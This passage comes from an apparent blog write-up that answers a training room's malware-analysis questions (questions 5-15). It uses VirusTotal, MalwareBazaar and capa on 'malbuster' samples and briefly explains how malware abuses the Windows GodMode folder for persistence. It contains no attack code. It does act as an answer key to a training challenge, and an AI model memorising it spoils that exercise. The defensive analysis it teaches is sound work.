variant sample “AGEN.1202219”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vU0qp0Ae6H_7XYgtMnidSg.png" /></figure><h3>Question 5 : malbuster_2 imports the function _CorExeMain. From which DLL file does it import this function?</h3><h4>Using VirusTotal:</h4><p>VirusTotal can provide a lot of information about the detection in the Details section, among those information, the libraries imported by the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPZOMpo0x89LnxZPxBzxLw.png" /></figure><p>Please to refer to <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function">Microsoft Doc</a> for more details on the “_CorExeMain” Function.</p><h3>Question 6 : Based on the VS_VERSION_INFO header, what is the original name of malbuster_2?</h3><p>From VirusTotal: (in the details section)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*Oxq0MYrFIBIOmOgsm8KI6w.png" /></figure><h3>Question 7 : Using the hash of malbuster_3, what is its malware signature based on abuse.ch?</h3><p>Using <a href="https://bazaar.abuse.ch/browse/">MalwareBazaar Database</a> from abuse.ch, we can see that the hash signature belongs to “TrickBot” Malware.</p><p>The Search Term (MalwareBazaar Syntax):</p><pre>md5:47ba62ce119f28a55f90243a4dd8d324</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgilHpZ1FjdeDjI7mfoiYA.png" /></figure><h3>Question 8 : Using the hash of malbuster_4, what is its malware signature based on abuse.ch?</h3><p>Following the same steps as the previous Question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5IxTEBxY-ui5iSfAm25_g.png" /></figure><h3>Question 9 : What is the message found in the DOS_STUB of malbuster_4?</h3><p>The DOS stub is an MS-DOS program that prints an error message saying that the executable is not compatible with DOS then exits.</p><p>If we open the file with an Editor, we can read the “DOS_STUB” message in the first line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*2ElS51QAEzwdYDoOt21Lgw.png" /></figure><h3>Question 10 : malbuster_4 imports the function ShellExecuteA. From which DLL file does it import this function?</h3><p>From “Imports” in the Details section from VirusTotal, we can see the “shell32.dll” library has been used :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*zs5_yDVNcoXHv6yLdBa_Wg.png" /></figure><h3>Question 11 : Using capa, how many anti-VM instructions were identified in malbuster_1?</h3><h4>Using Capa Tool :</h4><p>What is “capa” tool, According to the tool’s <a href="https://github.com/mandiant/capa">developer </a>:</p><blockquote>capa detects capabilities in executable files. You run it against a PE, ELF, .NET module, or shellcode file and it tells you what it thinks the program can do</blockquote><p>Please refer to this <a href="https://www.mandiant.com/resources/blog/capa-automatically-identify-malware-capabilities">link </a>for more details on how this tool works.</p><p>Let’s launch capa on the malware sample and see the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BdOV7RbhRcODdTxF" /></figure><p>As you can see above, 3 anti-VM instructions were identified in malbuster_1.</p><h3>Quetion 12 : Using capa, which binary can log keystrokes?</h3><p>Let’s launch capa on the different malware samples and look for keylogging behavior:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rXb0JMzcUbYyi2Ah" /></figure><p>From capa output, the “malbuster_3” sample is using sort of keylogging techniques to log keystrokes.</p><h3>Question 13: Using capa, what is the MITRE ID of the DISCOVERY technique used by malbuster_4?</h3><p>From Capa, the “malbuster_4” sample is detected to use “<a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery: T1083</a>” as a discovery technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rK2lPRbsLF6gQR_J" /></figure><h3>Question 14: Which binary contains the string GodMode?</h3><p>Using the “string” command along with grep, we can see that the sample “malbuaster_2” contains the string “GodMode”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/0*kmHIhtBQsMt48FkL" /></figure><h4>What is GodMode?</h4><p>it’s simply a special folder you can enable that exposes most of Windows’ admin, management, settings, and Control Panel tools in a single, easy-to-scroll-through interface.</p><p>This undocumented God Mode allows a user to create a special kind of folder that will act as a shortcut to Windows settings.</p><p>The feature was introduced by Microsoft in Windows Vista and can prove a handy tool for administrators</p><h4>How does Malware take advantage of the “GodMode” Folder?</h4><p>A real-world example of abusing this folder is The Dynamer malware, it took advantage of this Windows “God Mode” tweak to achieve persistence.</p><p>Because of God Mode’s unique mode of operations, Windows antivirus and other applications are incapable of accessing files present inside the folder, which makes it a safe haven for malwares to take shelter.</p><p>For further reading, please refer to below articles :</p><p><a href="https://www.howtogeek.com/402458/enable-god-mode-in-windows-10/">What Is the “God Mode” Folder in Windows 10, and How Do I Enable It?</a></p><p><a href="https://securityintelligence.com/news/windows-god-mode-may-be-the-answer-to-malwares-prayers/">Windows ‘God Mode’ May Be the Answer to Malware’s Prayers</a></p><p><a href="https://www.securityweek.com/malware-leverages-windows-god-mode-persistency/">Malware Leverages Windows “God Mode” for Persistency</a></p><p><a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malware-takes-advantage-of-windows-god-mode/">Malware Takes Advantage of Windows ‘God Mode’ | McAfee Blog</a></p><h3>Question 15: Which binary contains the string Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)?</h3><p>Using the same command as did before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*P8gDU-fxrpFnUR_r" /></figure><p>The User Agent is probably used in HTTP communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OPaIf-xYbSxnYpO4" /></figure><p>Note: we have to dig deeper (Malware reverse engineering) to understand why and where the user agent has been used which is not part of the room’s scope.</p><p>That’s it! Thank you for reading, see you in the next Room :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=732c5d7bc4cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>